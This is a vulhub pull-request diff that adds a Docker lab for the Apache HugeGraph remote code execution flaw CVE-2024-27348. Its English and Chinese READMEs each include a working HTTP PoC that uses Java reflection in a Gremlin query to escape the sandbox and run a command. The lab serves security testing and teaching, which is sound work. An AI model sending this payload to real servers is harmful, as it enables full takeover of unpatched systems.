vulhub · tonghuaroot · Jun 18, 2024 · Jun 18, 2024 · Jun 20, 2024 · Jun 20, 2024
diff --git a/base/hugegraph/Dockerfile b/base/hugegraph/Dockerfile
@@ -0,0 +1,3 @@
+FROM hugegraph/hugegraph:1.0.0
+
+LABEL maintainer="tonghuaroot <[email protected]>"
diff --git a/environments.toml b/environments.toml
@@ -1593,3 +1593,9 @@ app = "Zabbix"
 cve = ["CVE-2020-11800"]
 path = "zabbix/CVE-2020-11800"
 name = "Zabbix Server Trapper Command Injection"
+
+[[environment]]
+app = "Apache HugeGraph"
+cve = ["CVE-2024-27348"]
+path = "hugegraph/CVE-2024-27348"
+name = "Apache HugeGraph Remote Command Execution Vulnerability"
diff --git a/hugegraph/CVE-2024-27348/README.md b/hugegraph/CVE-2024-27348/README.md
@@ -0,0 +1,56 @@
+# Apache HugeGraph Remote Command Execution Vulnerability (CVE-2024-27348)
+
+HugeGraph is a user-friendly, efficient, and universal graph database that implements the Apache TinkerPop3 framework and is compatible with the Gremlin query language.
+In versions prior to Apache HugeGraph 1.3.0, there is a remote code execution (RCE) vulnerability. Attackers can bypass sandbox restrictions through Gremlin and execute any command to gain full control of the server.
+
+Reference:
+
+- https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/
+- https://github.com/apache/incubator-hugegraph
+- https://hugegraph.apache.org/
+- https://github.com/kljunowsky/CVE-2024-27348
+
+## Start Vulnerability Environment
+
+Execute the following command to start the vulnerability environment:
+
+```
+docker compose up -d
+```
+
+After startup, you can see the web page by accessing ```http://your-ip:8088/```.
+
+## Vulnerability Reproduction
+
+Intercept the request through Burp Suite and exec the following PoC:
+
+```
+POST /gremlin HTTP/1.1
+Host: tonghuaroot.local:8088
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Length: 758
+
+{   
+
+    "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"touch\", \"/tmp/tonghuaroot\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);",
+
+    "bindings": {},
+
+    "language": "gremlin-groovy",
+
+    "aliases": {}
+
+}
+```
+
+![alt text](image.png)
+
+Enter the container with ```docker compose exec hugegraph bash```, you can see that ```/tmp/tonghuaroot``` has been successfully created:
+
+![alt text](image-1.png)
diff --git a/hugegraph/CVE-2024-27348/README.zh-cn.md b/hugegraph/CVE-2024-27348/README.zh-cn.md
@@ -0,0 +1,56 @@
+# Apache HugeGraph 远程命令执行漏洞（CVE-2024-27348）
+
+HugeGraph是一款易用、高效、通用的图数据库，实现了Apache TinkerPop3 框架、兼容 Gremlin 查询语言。
+在 Apache HugeGraph 1.3.0 之前的版本中存在远程代码执行（RCE）漏洞。攻击者可以通过 Gremlin 绕过沙箱限制并实现 RCE 执行任意命令，从而完全控制服务器。
+
+参考链接：
+
+- https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/
+- https://github.com/apache/incubator-hugegraph
+- https://hugegraph.apache.org/
+- https://github.com/kljunowsky/CVE-2024-27348
+
+## 运行环境
+
+执行如下命令启动漏洞环境：
+
+```
+docker compose up -d
+```
+
+启动完成后，访问`http://your-ip:8088/`即可看到web页面。
+
+## 漏洞复现
+
+通过 Burp Suite 拦截请求，并使用如下 PoC：
+
+```
+POST /gremlin HTTP/1.1
+Host: tonghuaroot.local:8088
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Length: 758
+
+{   
+
+    "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"touch\", \"/tmp/tonghuaroot\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);",
+
+    "bindings": {},
+
+    "language": "gremlin-groovy",
+
+    "aliases": {}
+
+}
+```
+
+![alt text](image.png)
+
+进入容器内部 ```docker compose exec hugegraph bash``` ，可见 ```/tmp/tonghuaroot``` 已成功创建：
+
+![alt text](image-1.png)
diff --git a/hugegraph/CVE-2024-27348/docker-compose.yml b/hugegraph/CVE-2024-27348/docker-compose.yml
@@ -0,0 +1,6 @@
+version: '2'
+services:
+ hugegraph:
+   image: vulhub/hugegraph:1.0.0
+   ports:
+    - "8088:8080"
diff --git a/hugegraph/CVE-2024-27348/image-1.png b/hugegraph/CVE-2024-27348/image-1.png
diff --git a/hugegraph/CVE-2024-27348/image.png b/hugegraph/CVE-2024-27348/image.png
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1,3 @@
		FROM hugegraph/hugegraph:1.0.0
Copy link Member phith0n Jul 14, 2024 Choose a reason for hiding this comment The reason will be displayed to describe this comment to others. Learn more. Please create a new folder for this image like https://github.com/vulhub/vulhub/tree/master/base/activemq.

		LABEL maintainer="tonghuaroot <[email protected]>"